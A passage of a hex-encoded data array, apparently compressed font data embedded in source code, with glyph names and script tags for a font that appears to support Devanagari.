0x824b2063, 0x200c823f, 0x200c8447, 0x820c8247, 0x824e2013, 0x2013820d, 0x20138443, 0x20208543, 0x200c844a, + 0x8220864a, 0x242782a0, 0x525f5454, 0x06194107, 0x44200e82, 0x0e82f182, 0xf1834420, 0x4e240e82, 0x05525f4e, 0x38841d82, 0x45855420, 0x19822182, + 0x19822083, 0x50201f85, 0x50201f84, 0x42201f85, 0x42200c84, 0x4d200c85, 0x6a823f84, 0x4c202b82, 0x56200b84, 0x53201e84, 0x53218485, 0x85138453, + 0x20128505, 0x8226824c, 0x824b205f, 0x820720ea, 0x82e983e0, 0x8247200e, 0x2006820e, 0x8415854a, 0x240e82ff, 0x414b5f4b, 0x24248208, 0x784b5f78, + 0x232d8341, 0x41484b5f, 0x43201784, 0x4a200685, 0x54211585, 0x21078554, 0x16854e4e, 0x78220e85, 0x3d84545f, 0x5f545f23, 0x20088759, 0x20088752, + 0x20318556, 0x204f8654, 0x86388544, 0x8550203f, 0x06074225, 0x505f4b23, 0x20108448, 0x20088378, 0x828f8409, 0x224084a1, 0x85425f78, 0x864d2039, + 0x854d200e, 0x8559200e, 0x854c2006, 0x84562006, 0x565f213e, 0xc5848782, 0x41485322, 0x5f264683, 0x4d5f5353, 0x44440b41, 0x4d5f2105, 0x15871d82, + 0x1f885920, 0x41855620, 0x10865320, 0xea825f20, 0x5f222485, 0x55854444, 0xe6825320, 0x43840a20, 0xb0835f20, 0x4c200a88, 0x48231e84, 0x84484b5f, + 0x4148209a, 0x4821060d, 0x43088278, 0x4e200578, 0x4d201886, 0x78202985, 0x18858c82, 0x82052e41, 0x86592029, 0x82c08521, 0x20088610, 0x82c1865f, + 0x20098211, 0x05c74108, 0xaa835320, 0x475f4722, 0x06823383, 0x0e854820, 0x0e854a20, 0x22059a41, 0x85445f47, 0x4844210e, 0x0e82d083, 0xf5854820, + 0xeb840984, 0x4e5f4722, 0x06828e83, 0x06251982, 0x5f477664, 0x20328542, 0x20328642, 0x84328342, 0x854d2018, 0x22ad8461, 0x87525f47, 0x854c202f, + 0x85562016, 0x84532006, 0x8248203d, 0x21db8255, 0xe3854847, 0x59200782, 0x43221e83, 0x1e83435f, 0x5c840682, 0x5f200783, 0x43203784, 0x63822f82, + 0x2e824320, 0x59200684, 0xac862684, 0x87484321, 0x5f4a226c, 0x2246834b, 0x834a5f4a, 0x784a24b3, 0x83784a5f, 0x210f82d7, 0x96844e5f, 0x08880983, + 0x44835620, 0x48201182, 0x4e212385, 0x050f4259, 0x425f4a21, 0x4a2305bf, 0x8544445f, 0x8554204d, 0x200d8606, 0x200d854e, 0x84068542, 0x864a20f4, + 0x85782039, 0x824a20f3, 0x20dd82b4, 0x82e5864a, 0x844d2007, 0x8548206a, 0x20688226, 0x839f8343, 0x83482007, 0x84088218, 0x410782b0, 0x542105be, + 0x06584254, 0x23840884, 0xf4840982, 0x56220782, 0x41440a41, 0x54542205, 0x82478348, 0x45588206, 0x5620066f, 0x44211183, 0x22bb8344, 0x84766409, + 0x823f8408, 0x823f8409, 0x223f8407, 0x82484444, 0x833f8423, 0x8559200a, 0x82482036, 0x214882b9, 0x7f864e4e, 0x24840884, 0x44220982, 0x52824144, + 0x48200884, 0x4e23bf84, 0x844e4e5f, 0x414e20bf, 0x1a8205c6, 0x07826384, 0x06415622, 0x5f21a382, 0x219f844b, 0x9f864b5f, 0x52200882, 0x56201187, + 0x54204c83, 0x91481182, 0x20098205, 0x22118648, 0x85525f48, 0x8554203d, 0x8754202b, 0x4154203d, 0x54210557, 0x0526445f, 0x4e5f5422, 0x4e202085, + 0x22057641, 0x85505f54, 0x8250200f, 0x82c58240, 0x4c5f210f, 0x08829f83, 0x51854820, 0x20854d20, 0x30874d20, 0x5420f684, 0x20073e42, 0x842e8254, + 0x855620b6, 0x8553202d, 0x8753202d, 0x87532067, 0x86532088, 0x82482088, 0x05be4619, 0x5421f784, 0x82178248, 0x5f442240, 0x82398347, 0x82888206, + 0x8408821f, 0x4344207f, 0x0682056e, 0x4e200e86, 0x44226783, 0x2d85425f, 0x8206d846, 0x201e860f, 0x201e854d, 0x20068559, 0x20ca8356, 0x22728344, + 0x83766409, 0x054d4207, 0x4d200982, 0x84841986, 0xbe840f82, 0x7c414e20, 0x21068205, 0x4083535f, 0x5b434e20, 0x20068205, 0x202e8348, 0x06e5424e, + 0xe5424e20, 0x830f8206, 0x85068285, 0x200883e4, 0x20118752, 0x21318653, 0x7a824148, 0x48201982, 0x84052544, 0x206c8609, 0x202b8544, 0x22f18244, + 0x82766408, 0x845f2055, 0x200882af, 0x82348548, 0x88592097, 0x88522009, 0x203e8609, 0x413e854e, 0x4e2006c9, 0x8205c941, 0x05404106, 0x45860882, + 0x87485021, 0x057f4411, 0x425f4e22, 0x09828c88, 0xe9855620, 0x4d854d20, 0x8806e641, 0x201d8654, 0x257c8553, 0x54545f53, 0xab830a41, 0x835f5321, + 0x20b68429, 0x05194253, 0x485f4e22, 0x5020f283, 0x17822283, 0x48200783, 0x08825a83, 0x06825a83, 0x50202785, 0x20059744, 0x22af8250, 0x82766407, + 0x20258606, 0x202c854d, 0x20068559, 0x8406854c, 0x5f50227e, 0x22598453, 0x834a5f48, 0x48502586, 0x784a5f78, 0x48205384, 0x82069141, 0x855420e2, + 0x061a4610, 0x4e201082, 0x50203386, 0x5f221885, 0xb9834850, 0xf9463c83, 0x20238206, 0x20238659, 0x4423864c, 0x1f82054a, 0x2005ff41, 0x82708242, + 0x840682a3, 0x4207826e, 0x0882053f, 0x4222b484, 0xa683545f, 0xa3424220, 0x20068205, 0x839f8348, 0x565f2107, 0x4e201885, 0x42200685, 0x42216783, + 0x057f415f, 0x5f210783, 0x84188552, 0x5f4222ed, 0x827f834c, 0x05214106, 0x07424220, 0x5f422105, 0x06228e82, 0x07827664, 0x48213e84, 0x41d2845f, + 0x078207bc, 0x8e865220, 0xb3434820, 0x07cc4105, 0x96854d20, 0x96824d20, 0x4d203e82, 0x06843682, 0x64835020, 0x505f4d22, 0x4d207b85, 0x82054243, + 0x05bc4206, 0x52200883, 0x08826783, 0xc6834820, 0xb3420783, 0x20098405, 0x20138852, 0x20ba8356, 0x0556464d, 0x20062e42, 0x8480824d, 0x85562063, + 0x20b88541, 0x0545414d, 0x485f4d22, 0x59203183, 0x59208785, 0x0c225382, 0x534b7664, 0x840c8d06, 0x434c2027, 0x06820584, 0x0882dd85, 0x47201786, + 0x4c204683, 0x82059341, 0x83782006, 0x424c206b, 0x0783066e, 0x10854820, 0x23055548, 0x44445f4c, 0x54203786, 0x54201785, 0x2882d684, 0x66414820, + 0x23218205, 0x76640841, 0x11410682, 0x424c2005, 0x06820591, 0x42203786, 0x42203785, 0x4d200e86, 0x59207e85, 0x4c200685, 0x4c203b85, 0x56224b87, + 0x4b830941, 0x1b445620, 0x854c2006, 0x854c20fb, 0x855620fb, 0x855620fb, 0x4156202c, 0x5620052d, 0x20052442, 0x24228256, 0x53766407, 0x83f78548, + 0x82d98407, 0x83432008, 0x20078363, 0x47088648, 0x11820565, 0x0782d284, 0xa2834e20, 0x4d200782, 0x59200786, 0x4c200786, 0x56200786, 0x53213886, + 0x20108448, 0x82638253, 0x825320a6, 0x82f38207, 0x430982fc, 0x088405d1, 0x0a209e82, 0x53238982, 0x8254545f, 0x840a881e, 0x222084da, 0x860b4148, + 0x8248201f, 0x200b892b, 0x24668452, 0x4e4e5f53, 0x46358541, 0x358207d6, 0x85415021, 0x06614671, 0x8c871183, 0x1a864d20, 0xe9414d20, 0x851a8205, + 0x475320bf, 0x0f820552, 0x41535323, 0x41718206, 0x0b47061a, 0x20be8307, 0x4bd08456, 0x5320064d, 0x83051442, 0x202f85b8, 0x4b908454, 0x17820736, + 0x1182ee86, 0x0d423886, 0x42198205, 0x5320060d, 0x82052d43, 0x204185c3, 0x83418550, 0x830720b5, 0x48502181, 0x42201785, 0x4d200685, 0xff421e85, + 0x06024506, 0xd8415320, 0x84be8305, 0x835320b5, 0x5f4821a3, 0x8205384a, 0x203a8307, 0x05384348, 0x48207586, 0x48203185, 0x6582f082, 0x414c4c21, + 0x6d300555, 0x612e4949, 0x676e6f4c, 0x5276640f, 0x5f687065, 0x2007794f, 0x09844f0e, 0x6d612e24, 0x1e850a49, 0x13200a83, 0x1383298e, 0x76640d24, + 0x3b8b4949, 0x0e885782, 0x0e833b82, 0x3b825e83, 0x1e880a87, 0x76641422, 0x8e852d8b, 0x14851020, 0x10853383, 0x10891920, 0x19853988, 0x6d217b82, + 0x20138845, 0x21278209, 0x37835f45, 0x09881220, 0x4120988c, 0x9883a789, 0x98870e82, 0x2d880a86, 0x4f205883, 0x4f20588c, 0x09855888, 0x5520588d, + 0x4121f18c, 0x832c8455, 0x880a86f1, 0x5313831e, 0x138c0629, 0x8806c752, 0x64072813, 0x5f415276, 0x8608556d, 0x82552007, 0x86482010, 0x83078410, + 0x82442019, 0x52762110, 0x5320f682, 0x76211283, 0x882c8252, 0x496d2508, 0x3130612e, 0x08841182, 0x08873220, 0x08873320, 0x08873420, 0x08873520, + 0x08873620, 0x08873720, 0x08873820, 0x08863920, 0x87303121, 0x87312008, 0x20598708, 0x20598731, 0x20598731, 0x20598731, 0x20598731, 0x20598731, + 0x20598731, 0x21598731, 0x50863032, 0x87313221, 0x20598708, 0x29598732, 0x75073432, 0x3030696e, 0x07863041, 0x07854420, 0x0735422b, 0x63616d41, + 0x076e6f72, 0x28078561, 0x72624106, 0x06657665, 0x29068461, 0x676f4107, 0x6b656e6f, 0x07856107, 0x64430a2c, 0x6361746f, 0x746e6563, 0x0a88630a, + 0x63440623, 0x21428261, 0x06856406, 0x72634427, 0x0774616f, 0x21508545, 0x07856507, 0x84450621, 0x65062151, 0x0a210684, 0x213d8845, 0x0a88650a, + 0x85450721, 0x65072166, 0x06210785, 0x20518545, 0x21068465, 0x3389470a, 0x0a886720, 0x3122c884, 0x07863232, 0x49063329, 0x646c6974, 0x84690665, + 0x49072106, 0x07217d85, 0x26078669, 0x30696e75, 0x86433231, 0x0744222d, 0x21698549, 0x07866907, 0x33211f84, 0x2a1f8536, 0x4c063733, 0x74756361, + 0x846c0665, 0x20158606, 0x22078642, 0x844c0643, 0x6c062198, 0x04210684, 0x2194824c, 0x04826c04, 0x854e0621, 0x8a6e2035, 0x35342135, 0x34233585, + 0x844e0636, 0x6e06212e, 0x07210684, 0x2099864f, 0x21a18b6f, 0x2d864534, 0x4f0d4630, 0x676e7568, 0x6d757261, 0x7475616c, 0x0d8b6f0d, 0x84520621, + 0x72062160, 0x3520678a, 0x3523bb86, 0x84520637, 0x72062160, 0x53200685, 0x06212484, 0x862b8b73, 0x46352165, 0x36206d85, 0x23064541, 0x54063336, + 0x74203485, 0x55270685, 0x646c6974, 0x84750665, 0x55072106, 0x0785a987, 0x62550625, 0x82766572, 0x2706841d, 0x69725505, 0x7505676e, 0x0d210583, + 0x20bb8c55, 0x210d8b75, 0x71415507, 0x2d078507, 0x6963570b, 0x6d756372, 0x78656c66, 0x0b8a770b, 0x0b8a5920, 0x0b897920, 0x845a0621, 0x7a0621c8, + 0x0a210684, 0x0810425a, 0x427a0a21, 0x38200e1b, 0x4620dd86, 0x2006f541, 0x05fc4246, 0x38313222, 0x3222f584, 0x07863931, 0x07864120, 0x2105df41, + 0x17863532, 0x37854220, 0x39433227, 0x72675706, 0x20e98261, 0x20068577, 0x217a8457, 0x06847706, 0x6457092b, 0x65726569, 0x09736973, 0x83098777, + 0x4531214f, 0x07823f85, 0x59064422, 0x79203885, 0x1d850684, 0x85844620, 0x46453128, 0x75450439, 0x14836f72, 0x42303222, 0x07828a84, 0x3223aa84, + 0x84333131, 0x32312c17, 0x73650936, 0x616d6974, 0x84646574, 0x30322211, 0x21078536, 0x07863531, 0x650b3932, 0x616c6378, 0x73732e6d, 0x630a3130, + 0x616d6d6f, 0x0b260a84, 0x69726570, 0x0b84646f, 0x6c221682, 0x0a846e6f, 0x65730e26, 0x6f63696d, 0x0d220e87, 0x60837571, 0x0f201c86, 0x64224a85, + 0x2c85776f, 0x43851320, 0x6e656323, 0x85ea8274, 0x8711204b, 0x26258831, 0x7669640b, 0x85656469, 0x7571285e, 0x6c65746f, 0x84746665, 0x840f200e, + 0x6972230e, 0x0f856867, 0x1e823c82, 0x6c626422, 0x12202188, 0x11822184, 0x0d282489, 0x696c6c65, 0x73697370, 0x06204284, 0x3226ce84, 0x6361610b, + 0x64847475, 0x62230b82, 0x85766572, 0x6110210b, 0x83092242, 0x0e32222f, 0x078d4161, 0x0b240e84, 0x61726761, 0x0c202b86, 0x8406f344, 0x440c2018, + 0x0c8406e2, 0x72610a25, 0x84676e69, 0x610b240a, 0x856c6974, 0x264b82cd, 0x7265706d, 0x846e6173, 0x083324fa, 0x836f7774, 0x0a342523, 0x65726874, + 0x34247f84, 0x78697308, 0x09231384, 0x856e696e, 0x82002012, 0x82012000, 0x820c2003, 0x2a028303, 0x00080002, 0x001f0018, 0x82220003, 0x00032401, + 0x827a0079, 0x007d220b, 0x2805827d, 0x00920092, 0x025c0203, 0x2205825f, 0x826c0267, 0x02732205, 0x20178273, 0x32388201, 0x0048000a, 0x4403007e, + 0x00544c46, 0x76656414, 0x82220032, 0x00612405, 0x82040030, 0xff00281d, 0x000200ff, 0x8a030000, 0x8201200d, 0x2a1b890b, 0x00050002, 0x76626106, + 0x8b26006d, 0x6c622505, 0x2e006d77, 0x4582058b, 0x00000224, 0x07840100, 0x51840220, 0xe6050a26, 0xea0d640a, 0x17834f82, 0x0100082c, 0x2c000c00, + 0x94010100, 0x0b82e001, 0x1e000e22, 0x2220cf82, 0x9220c984, 0x9560bd82, 0x8273200b, 0x00b2221f, 0x1a475e06, 0x28002424, 0x1b5e2a00, 0x00352a08, + 0x003e0039, 0x0044003f, 0x20ef8245, 0x06f55d4c, 0xe35d5420, 0x61620808, 0x70006a00, 0x99009500, 0x9f009b00, 0xa100a000, 0xa600a200, 0xaf00aa00, + 0xb500b400, 0xba00b600, 0xc500bf00, 0xc700c600, 0xcc00c800, 0xda00d500, 0xe200e100, 0xe800e600, 0xf200ee00, 0xf400f300, 0x0201f900, 0x06010301, + 0x24011801, 0x2c012b01, 0x3a013201, 0x3d013b01, 0x4b014801, 0x4e014c01, 0x81634f01, 0x01552206, 0x0a7d6356, 0x63016128, 0x71017001, 0x43637601, + 0x0185280a, 0x01880186, 0x6390018a, 0x2163062f, 0xa8260805, 0xb201a901, 0xb601b501, 0xbc01b701, 0xc401bf01, 0xca01c901, 0xd401cc01, 0xe401dc01, + 0xf401e701, 0xfc01f801, 0x8362fd01, 0x020a3808, 0x020d020b, 0x02150212, 0x021a0217, 0x021d021c, 0x0220021e, 0x62260221, 0x57620659, 0x02313405, + 0x023c0236, 0x0241023d, 0x024c0248, 0x02540251, 0x61590258, 0x7b260ae3, 0x00000e00, 0x03824000, 0x03924620, 0x13823a20, 0x03871b83, 0x0128238d, + 0xe4029aff, 0x9dff0100, 0x9e200584, 0xb2300582, 0x6c016601, 0xee037201, 0x7801ee03, 0x50027801, 0x7e220582, 0xeb848401, 0xa201963c, 0xa801c601, + 0x4a02cc01, 0xd2015c02, 0xae01d801, 0xde019c01, 0xb401e203, 0x1184a201, 0xc6200f83, 0x9c201f8a, 0x33911b82, 0xba223185, 0x4d82c001, 0x15834b89, + 0x01e42e08, 0x01ea01e4, 0x01f601f0, 0x03fc01fc, 0x0202020a, 0x020e0208, 0x031a0214, 0x03be0352, 0x022002be, 0x022c0226, 0x02380232, 0x0344023e, + 0x248782e8, 0x02560250, 0x2c01825c, 0x02680262, 0x0374026e, 0x027a0288, 0x26018280, 0x028c0286, 0x82980292, 0x02a43601, 0x02a4029e, 0x02b002aa, + 0x02bc02b6, 0x02c802c2, 0x02d402ce, 0x220182da, 0x82e602e0, 0x03ec2e01, 0x02f2022e, 0x03fe02f8, 0x033a0304, 0x2401820a, 0x03160310, 0x260b821c, + 0x03280322, 0x8234032e, 0x03402409, 0x824c0346, 0x03582e83, 0x035e0358, 0x036a0364, 0x0370037c, 0x28058276, 0x0382037c, 0x038e0388, 0x21018294, + 0x0183039a, 0xa003a026, 0xac03a603, 0xb2220182, 0xb582b803, 0xca03c428, 0xd603d003, 0x0182dc03, 0xe203e22c, 0xee03e803, 0x56010100, 0x0582e402, + 0x05845a20, 0x0583e420, 0x83af0221, 0x85042105, 0x8b200584, 0x7e261784, 0x0100a503, 0x0583e502, 0x83780321, 0xc0012105, 0x26202984, 0x79200584, + 0x21200584, 0xf9200584, 0x5e200584, 0x65200584, 0xd5203b84, 0xd7200584, 0xe9200584, 0xf2200584, 0xbb201d84, 0x05210583, 0x20658409, 0x201184b8, + 0x840b847d, 0x8404202f, 0x9e052129, 0x06211183, 0x200584bd, 0x210583c5, 0x05830709, 0x84be0321, 0x844f2029, 0x84fd200b, 0x84df2005, 0x841b2011, + 0x84962005, 0x84dd2065, 0x84de2005, 0x84862005, 0x848c2005, 0x84d32005, 0x84d02005, 0x84e62005, 0x84e12005, 0x84f32041, 0x84b12005, 0x84182041, + 0x84a7200b, 0x849120a1, 0x848a200b, 0x84372017, 0x841d20a7, 0x84af2035, 0x84172017, 0x86f5200b, 0x00c52405, 0x84db0201, 0x84ef200b, 0x8422202f, + 0x84812005, 0x84cb2029, 0x20cb8405, 0x20778403, 0x21298403, 0x65841004, 0x1d84e820, 0x0221d184, 0x200b84fe, 0x203b849b, 0x20058427, 0x202384ea, + 0x20178494, 0x2011849d, 0x200b845a, 0x200b84f1, 0x200b84bb, 0x209b84c6, 0x20118499, 0x200584c5, 0x20058476, 0x20058425, 0x20058450, 0x20058487, + 0x2005848c, 0x205384a1, 0x2105835b, 0x1184b006, 0x47845220, 0x0b843420, 0x05843920, 0x03211784, 0x200b84f6, 0x201d84d1, 0x200584a9, 0x20058456, + 0x85058405, 0x842f204d, 0x84e5200b, 0x84fc2005, 0x843d202f, 0x84c12005, 0x844b2095, 0x215f8405, 0x0b831e02, 0x84c20121, 0x84d82005, 0x84e32005, + 0x824d201d, 0x00042105, 0x2609db45, 0x00010016, 0x8252003e, 0x66032005, 0x00270577, 0x00060002, 0x824f0024, 0x00953e23, 0x002c00ba, 0x000501e1, + 0x01070152, 0x017700b2, 0x01fd01b4, 0x02ff0123, 0x006d015a, 0x20218203, 0x2e03880e, 0x02000001, 0x04c901e4, 0x03b80312, 0x439a03ac, 0xb221061d, + 0x20018303, 0x820d8294, 0x0c042103, 0xac221d82, 0x1d821804, 0x1204ac24, 0x0d821804, 0x2b86b220, 0x03210f82, 0x200f84b2, 0x83318494, 0x2047830b, + 0x823983b2, 0x90942031, 0x82b82057, 0x84578827, 0x82578351, 0x86578a37, 0x0c042155, 0xb2204582, 0x51852382, 0xd0039a22, 0xd6200182, 0xdc240382, + 0xdc030004, 0xca281782, 0xca03f403, 0x1e04e203, 0xa0200f82, 0x21831d84, 0x1382d020, 0xa003a026, 0xa0031e04, 0xf4200982, 0x00260982, 0x0604f403, + 0x0f82ee03, 0x3182f420, 0xdc200383, 0x37822d83, 0x25821e20, 0xca03ca24, 0x01820004, 0x0d820b82, 0xfa03ee22, 0x00280b82, 0xfa03c403, 0xdc03d603, + 0xa6203782, 0x06221182, 0x4184a603, 0x0582ee20, 0x0985e820, 0xe8201f82, 0xfa220382, 0x0f840604, 0xee207983, 0x4b826f82, 0xe2226382, 0x9382d003, + 0x8303e821, 0x824f822b, 0x820f827b, 0x82ee2011, 0x83d02003, 0x83338231, 0x03942231, 0x88098294, 0x20ef8205, 0x850382fa, 0x82e82013, 0x82618383, + 0x20618451, 0x835782c4, 0x82438203, 0x879a2045, 0x22a5827f, 0x82be03be, 0x82be20db, 0x03d62165, 0x39829384, 0xa603ee22, 0x0020bf84, 0xfa223b82, + 0x01821804, 0x6b820c20, 0x97820c20, 0xfd820b82, 0x9a03b222, 0xd7871382, 0xf4213583, 0x20dd8303, 0x203b84c4, 0x205d82d6, 0x203982e2, 0x824382e2, + 0x835582c5, 0x03ee224f, 0x207982dc, 0x201b82e2, 0x23f985fa, 0xa603e203, 0xf4201182, 0x00226384, 0x0f82dc03, 0xb803c428, 0xc4030c04, 0x21821e04, + 0x9782c420, 0x9184fa20, 0x0d82c420, 0x3d84dc20, 0xca03ca22, 0xfb83ab82, 0x2382d020, 0x0b82a020, 0x0604a022, 0x47833f82, 0x2f82e820, 0x1182e820, + 0x3382ee20, 0xfa208b83, 0xf420d182, 0xf3837b84, 0x6b822582, 0x1382ee20, 0x0782e820, 0xee208183, 0x19829d82, 0x82e20321, 0x213f820f, 0x07820604, + 0x2106bd41, 0x27820604, 0xac03b822, 0xdc241182, 0x1e04ca03, 0x8405d941, 0x82d020e1, 0x41b18281, 0x1b840785, 0xf4208b83, 0x1e20c984, 0xee20a982, + 0xc9820384, 0xb220e984, 0xe8204b82, 0x04213983, 0x20618400, 0x212782b2, 0x1d8303c4, 0xb803d622, 0xd620ed84, 0x8b83f182, 0xbf82be20, 0x3382be20, + 0xb382d620, 0xa3832183, 0x6d82f420, 0xc384d020, 0x9182d620, 0x4b82dc20, 0x8703e221, 0x84df82bf, 0x20b78773, 0x3e938412, 0x0412040c, 0x001e0418, + 0x02c10101, 0x020100cc, 0x00c90265, 0x029a0501, 0x060100bd, 0x82bb023d, 0x029c2211, 0x280582c8, 0x00c702d2, 0x023f0301, 0x220582c6, 0x82c50276, + 0x02ad2205, 0x282982c4, 0x00bf022c, 0x02f60401, 0x222f82c0, 0x82bc0207, 0x84d02011, 0x0275223b, 0x222382ba, 0x82c302e4, 0x0251221d, 0x221d82c2, + 0x82b902ab, 0x841b200b, 0x83bf2011, 0x8804232f, 0x2382c102, 0x53830920, 0x022f0223, 0x228382ca, 0x82cb02f7, 0x02622241, 0x0b594abe, 0x00980329, + 0x00160001, 0x82020030, 0x00182a07, 0x0000001d, 0x04000006, 0x080394aa, 0xf8058f30, 0x26012001, 0x32012c01, 0x3e013801, 0x28062206, 0x4a014401, + 0x56015001, 0x62015c01, 0x6e016801, 0x7a017401, 0x86018001, 0x92018c01, 0x1f829801, 0x019e6008, 0x06aa01a4, 0x06460640, 0x01b0014c, 0x065806b6, + 0x0664065e, 0x01bc0164, 0x01c801c2, 0x06d401ce, 0x01da0182, 0x069406e0, 0x01e6019a, 0x01ac06ec, 0x01f801f2, 0x02c406fe, 0x02d00604, 0x0610020a, + 0x061602e2, 0x021c02ee, 0x02280222, 0x020c072e, 0x073a0234, 0x07400218, 0x07460224, 0x822a0730, 0x36360803, 0x3c074c02, 0x48074207, 0x58025202, + 0x60075e02, 0x66076402, 0x6c076c07, 0xa6026a02, 0x76027002, 0x7c028407, 0x96078202, 0x8e028802, 0x9402a207, 0xb4079a02, 0x1b82a002, 0x07ac5208, + 0x02b202cc, 0x02be02b8, 0x02ea07c4, 0x02f007ca, 0x02d602d0, 0x02e202dc, 0x021408e8, 0x020603ee, 0x03fa02f4, 0x08060300, 0x030c0332, 0x08180312, + 0x031e0344, 0x08560824, 0x032a035c, 0x08680830, 0x0336036e, 0x0380083c, 0x00480342, 0xff7a0101, 0x22058292, 0x82baffd4, 0xff922205, 0x220582c6, + 0x82ccff8e, 0xff782205, 0x28058291, 0x00a5ffb0, 0xffbc0201, 0x220b82de, 0x823aff76, 0xfff8220b, 0x220582f7, 0x8298ff26, 0xfe782211, 0x220582d8, + 0x82ecfeb0, 0xff212211, 0x201784d3, 0x205384e1, 0x2053842e, 0x20538457, 0x20538468, 0x21058265, 0x1783ff78, 0x41ffb022, 0x18222982, 0x5984d9ff, + 0x59842320, 0x0b821f20, 0x94fff826, 0x09050100, 0x04215983, 0x21898373, 0x5383ea04, 0x839e0521, 0x7706217d, 0x06211183, 0x2195836d, 0x11830709, + 0x83880421, 0x98032105, 0x0321b983, 0x211d83b8, 0x1d838703, 0x84f10321, 0xfe9821cb, 0x9922c583, 0x5f82cdfe, 0x05848e20, 0x61fe7822, 0x6c20b384, + 0xad210582, 0x210582fe, 0x3584ae03, 0xef83ba20, 0x849e0321, 0x83df203b, 0xa70322ef, 0x21c582ff, 0x65849005, 0x05833820, 0xff34022d, 0x02010007, + 0x0001ff0b, 0x84dd0301, 0x84862071, 0x8365203b, 0x0c042135, 0x0521cb83, 0x201184a2, 0x2005840a, 0x21538307, 0x41842804, 0xcb867f20, 0xdd82d820, + 0x11849420, 0x05845920, 0x0584c520, 0xc584bb20, 0x3aff6422, 0x37205f82, 0x04210583, 0x202f8430, 0x2095842d, 0x205f84f8, 0x2195834e, 0x6584b204, + 0x2f835b20, 0x84580621, 0x84d720ad, 0x8453202f, 0x84d220a1, 0xff39240b, 0x82010098, 0x00ba248f, 0x84b20301, 0x84d12047, 0xffc8221d, 0x201182b2, + 0x21d783a9, 0xa1841103, 0x68ff1122, 0x0e201182, 0x0e226584, 0x35825fff, 0x1d842f20, 0x3584a020, 0x3583c120, 0xfea10127, 0x010100d9, 0x200584c1, + 0x4805829e, 0x12200b03, 0x34241982, 0x01004001, 0x7d200182, 0x8f210382, 0x11a94d00, 0x4d0da74d, 0x854d1b95, 0x05ed6fb3, 0x27022622, 0x2e1e894d, + 0x02580257, 0x00010059, 0x00060000, 0x829eff01, 0x018f2207, 0x0b954462, 0x018c0123, 0x06954492, 0x56016224, 0x0d825c01, 0x29129944, 0xa4019e01, + 0xb001aa01, 0x0182b601, 0x2c078b44, 0x010003ce, 0x01da01d4, 0x01e601e0, 0x058744ec, 0x02040227, 0x0210020a, 0x077f4416, 0x02340229, 0x0240023a, + 0x444c0246, 0x0227056b, 0x026a0264, 0x82760270, 0x027c2601, 0x02880282, 0x2601828e, 0x0294029a, 0x44a0029a, 0x5f440561, 0xca022107, 0xd0220182, + 0x0182d602, 0x2a03dc28, 0xe802e202, 0x5d44ee02, 0x03002206, 0x055d4406, 0x031e0333, 0x032a0324, 0x03360330, 0x0342033c, 0x034e0348, 0x2c018254, + 0x0360035a, 0x036c0366, 0x03780372, 0x2a01827e, 0x03840396, 0x0390038a, 0x829c0396, 0x03a22c01, 0x03ae03a8, 0x03ba03b4, 0x82c603c0, 0x03cc3401, + 0x03d803d2, 0x03e403de, 0x03f003ea, 0x010100f6, 0x82f0ff74, 0x00ce2205, 0x22058219, 0x8224008c, 0x00882205, 0x2005822a, 0x21178472, 0xf68200aa, + 0x00b40223, 0x28118239, 0x0096ff6e, 0x00f00201, 0x201d8453, 0x22058236, 0x824affaa, 0x00262211, 0x20478400, 0x2205828c, 0x82b6ffce, 0xff8c2205, + 0x220582c7, 0x84c3ff88, 0x848d2029, 0x82a02029, 0xff182229, 0x200582eb, 0x232f8321, 0x7fffb402, 0x7b215384, 0x83538200, 0x5e02216b, 0x65201784, + 0x05210583, 0x21058309, 0x8f836c04, 0x847d0221, 0x83fb200b, 0xe904213b, 0x96201d84, 0x06218f83, 0x211d8371, 0x3b836706, 0x83ff0821, 0xe4032111, + 0x7f202384, 0x92200b84, 0x0427d183, 0x0092fe2d, 0x834f0401, 0xb1032135, 0x03212f83, 0x212f8380, 0x29834104, 0x84eb0321, 0xff9121f5, 0x9228ef83, + 0x01002bff, 0xfafe2402, 0x0b83b984, 0x01ff1b22, 0x72220b82, 0x0584c0fe, 0x0582ca20, 0xd3feeb22, 0xa6220582, 0x2982cbfe, 0x0b831420, 0x84a70321, + 0x00b32153, 0x03214182, 0x25598397, 0x0300d803, 0x17820100, 0x01000024, 0x89848805, 0x7d838a20, 0x83300421, 0x3402210b, 0x01236583, 0x82bffff4, + 0x833d2023, 0x0b022383, 0x4d8217ff, 0xf3fedb22, 0x05260582, 0x010021ff, 0x2f832204, 0x00d70327, 0x03010019, 0x205f847f, 0x20b3845e, 0x20b3840c, + 0x202384f1, 0x21238310, 0x1d849c05, 0x05840320, 0x83840020, 0x17839b20, 0x831f0421, 0x7904216b, 0x04211783, 0x202984ea, 0x2089848c, 0x214183c2, + 0x1d845104, 0x0584bd20, 0x11841720, 0x1d84b320, 0x96ff5c22, 0x2f208382, 0x04210583, 0x204784c5, 0x2041842a, 0x20598426, 0x208384f2, 0x21dd8347, + 0x3584b204, 0x5984a120, 0x3b835320, 0x84510621, 0x84cf20fb, 0x844b203b, 0x84ca20e9, 0x8439200b, 0x84052047, 0x84ab20cb, 0x84ca204d, 0xffc8221d, + 0x20dd82fa, 0x211d83a9, 0xbf840a03, 0xc7ff0a27, 0x96030100, 0x201783fe, 0x22718407, 0x82beff07, 0x848c2011, 0x832f2041, 0x9a032105, 0x22204184, + 0x3d207d84, 0xb9201784, 0x012d4d83, 0x0035ff99, 0xff160301, 0x0101006a, 0x250b83b9, 0x34ff9601, 0x21820100, 0x96000a24, 0xab533202, 0x643c280c, + 0x00617665, 0x82040064, 0xff00241d, 0x820f00ff, 0x00032607, 0x00090006, 0x300b820c, 0x00150012, 0x001b0018, 0x0020001d, 0x00260023, 0x20278a29, + 0x2a0b8201, 0x000a0007, 0x0010000d, 0x82160013, 0x001c24d3, 0x8221001e, 0x82272093, 0x384f89af, 0x00050002, 0x000b0008, 0x0011000e, 0x00170014, + 0x001f001a, 0x00250022, 0x057d7128, 0x76626125, 0x8c100173, 0x686b2505, 0x611a016e, 0x22260589, 0x66776c62, 0x058a2801, 0x0b822e20, 0x34017322, + 0x6825058b, 0x01666c61, 0x20058a3a, 0x220b8242, 0x8b48016e, 0x756e2505, 0x4e01746b, 0x7025058b, 0x01736572, 0x25058c54, 0x01737473, 0x058a705c, + 0x726b7225, 0x86620166, 0x68702505, 0x72680166, 0x7325058a, 0x01313073, 0x22058e6e, 0x82780132, 0x22058b11, 0x82820133, 0x22058b11, 0x828c0134, + 0x2f058811, 0x75746176, 0x00009601, 0x0e000300, 0x10000f00, 0x02280982, 0x02000100, 0x01000000, 0x05830182, 0x0b840520, 0x05840620, 0x05821120, + 0x07000224, 0x0d840800, 